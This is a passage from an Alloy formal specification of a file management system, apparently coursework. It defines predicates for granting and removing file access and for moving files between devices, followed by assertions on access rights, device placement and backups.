run FileNotUpdate for 2
-- 3. givingaccess
-- Giving access to some other user to access a file.
--
pred givingaccess (u:User, fms,fms':FMS , f:File)
{
//Both file are different
fms'!=fms
//precondition file status should be Read
f.(fms.logfile) = Read
//per condition file should not be accessed by user
u not in (fms.accesstable).f
//postcondition file should be given access to the user
u in (fms'.accesstable).f
//frame conditions
fms.registereduser = fms'.registereduser
fms.logfile = fms'.logfile
fms.filedirectory = fms'.filedirectory
fms.activelocation = fms'.activelocation
fms.subdirectory=fms'.subdirectory
fms.ownertable= fms'.ownertable
all f1:File-f | (fms.accesstable).f1=(fms'.accesstable).f1
all f2:File-f | (fms.devicetable).f2=(fms'.devicetable).f2
fms.deviceuser=fms'.deviceuser
(fms'.backupfiles).Backup= (fms.backupfiles).Backup
}
run givingaccess for 2
-- 4. removeaccess
-- Remove Access for a User to file.
--
pred removeaccess (u:User, fms,fms':FMS , f:File)
{
//Both file are different
fms'!=fms
//precondiotion user can not be the owner of the file
u != f.(fms.ownertable)
//precondition file status should be Read because the other user has the rights to just read the file not write it
f.(fms.logfile) = Read
//precondition file should be given access to the user
u in (fms.accesstable).f
//postcondition file should not be accessed by user
u not in (fms'.accesstable).f
//postcondition file should not be in any device of that user
f not in ((fms.deviceuser).u).(fms'.devicetable)
//frame conditions
fms.registereduser = fms'.registereduser
fms.logfile = fms'.logfile
fms.filedirectory = fms'.filedirectory
fms.activelocation = fms'.activelocation
fms.subdirectory=fms'.subdirectory
fms.ownertable= fms'.ownertable
all f1:File-f | (fms.accesstable).f1=(fms'.accesstable).f1
all f2:File-f | (fms.devicetable).f2=(fms'.devicetable).f2
fms.deviceuser=fms'.deviceuser
(fms'.backupfiles).Backup= (fms.backupfiles).Backup
}
run removeaccess for 2
-- 5. addFiletoDevice
-- Change location of the device(only laptop)
--
pred addFiletoDevice (f:File ,fms,fms':FMS, d:Devices)
{
//Both file are different
fms'!=fms
//percondition file not in that device
f not in d.(fms.devicetable)
//postcondition file in that device
f in d.(fms'.devicetable)
//frame conditions
fms.registereduser = fms'.registereduser
fms.logfile = fms'.logfile
fms.filedirectory= fms'.filedirectory
fms.activelocation = fms'.activelocation
fms.subdirectory=fms'.subdirectory
fms.ownertable= fms'.ownertable
all f1:File-f | (fms.accesstable).f1=(fms'.accesstable).f1
all f2:File-f | (fms.devicetable).f2=(fms'.devicetable).f2
all d1:Devices-d | d1.(fms.deviceuser)=d1.(fms'.deviceuser)
(fms'.backupfiles).Backup= (fms.backupfiles).Backup
}
run addFiletoDevice for 2
--
-- 6. Remove a file to Device
--
pred removeFiletoDevice (f:File ,fms,fms':FMS, d:Devices)
{
//Both file are different
fms'!=fms
//precondition file in that device
f in d.(fms.devicetable)
//postcondition file not in that device
f not in d.(fms'.devicetable)
//frame conditions
fms.registereduser = fms'.registereduser
fms.logfile = fms'.logfile
fms.filedirectory= fms'.filedirectory
fms.activelocation = fms'.activelocation
fms.subdirectory=fms'.subdirectory
fms.ownertable= fms'.ownertable
all f1:File-f | (fms.accesstable).f1=(fms'.accesstable).f1
all f2:File-f | (fms.devicetable).f2=(fms'.devicetable).f2
all d1:Devices-d | d1.(fms.deviceuser)=d1.(fms'.deviceuser)
(fms'.backupfiles).Backup= (fms.backupfiles).Backup
}
run removeFiletoDevice for 2
//==============================================
// F I L E M A N A G E M E N T S Y S T E M : Debugging/ Testing
//==============================================
-- 1. RegisteredUserAccess
-- This assestion shows a file can only be accessed(read/write) by a registered user.
--
assert RegisteredUserAccess{
all fms:FMS, f: File | fms.ownertable[f] =fms.registereduser
}
check RegisteredUserAccess for 1
-- 2. OwnerWriteAccessFile
-- This assertion shows that only Owner has access to open file in WRITE (i.e. to edit)
--
assert OwnerWriteAccessFile{
all f: File, fms:FMS | fms.logfile[f]=Write implies fms.ownertable[f] in fms.registereduser
}
check OwnerWriteAccessFile for 1
-- 3. UsersReadAccess
-- This assertion shows that anyone who has access to a file can read a file.
--
assert UsersReadAccess{
all f: File, fms:FMS | fms.logfile[f]=Read implies fms.accesstable.f in fms.registereduser
}
check UsersReadAccess for 1
-- 4. SingleDeviceAccess
-- This assertion shows that a file in Write mode can be accessed from only one Device.
--
assert SingleDeviceAccess{
all f:File, fms:FMS | fms.logfile[f]=Write implies #(fms.devicetable.f) =1
}
check SingleDeviceAccess for 1
-- 5. MultipleDeviceAccess
-- This assertion checks if multiple devices can access a file in read mode.
--
assert MultipleDeviceAccess{
all f:File, fms: FMS | fms.logfile[f] = Read implies #(fms.devicetable.f) >=0
}
check MultipleDeviceAccess for 1
-- 6. CheckFileStatus
-- This assertion checks that file has atleast one status - READ or WRITE
--
assert CheckFileStatus{
all f: File, fms: FMS | fms.logfile[f]=Read or fms.logfile[f]=Write
}
check CheckFileStatus for 1
-- 7. CheckIfFileInDirectory
-- This assertion checks that a file is inside a directory and maintains a hierarchial structure.
--
assert CheckIfFileInDirectory{
all f:File, fms: FMS | #(fms.filedirectory[f]) = 1
}
check CheckIfFileInDirectory for 1
-- 8. CheckSensitiveFile
-- This assertion checks that a sensitive file resides only on Desktop.
--
assert CheckSensitiveFile{
all f:File,fms:FMS | f.permission=Sensitive implies fms.devicetable.f = Desktop
}
check CheckSensitiveFile for 1
-- 9. CheckPersonalFile
-- This assertion checks that a personal or a non-sensitive file can reside on any device.
--
assert CheckPersonalFile{
all f:File,fms:FMS | f.permission=Personal implies fms.devicetable.f = Desktop or fms.devicetable.f = Laptop
}
check CheckPersonalFile for 1
-- 10. CheckForBackup
-- This assertion checks that a file is backed up when a file is updated.
--
assert CheckForBackup{
all f:File, fms,fms':FMS | FileUpdate[f, fms,fms'] implies
#((fms'.backupfiles).Backup)= #((fms.backupfiles).Backup + 1)
}
check CheckForBackup for 1
--11. BackupUpdated
--This assertion checks that if all the files in Read mode are backed up or not
assert BackupUpdated{
all f:File,fms:FMS | fms.logfile[f] = Read implies f in (fms.backupfiles).Backup
}
check BackupUpdated for 1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.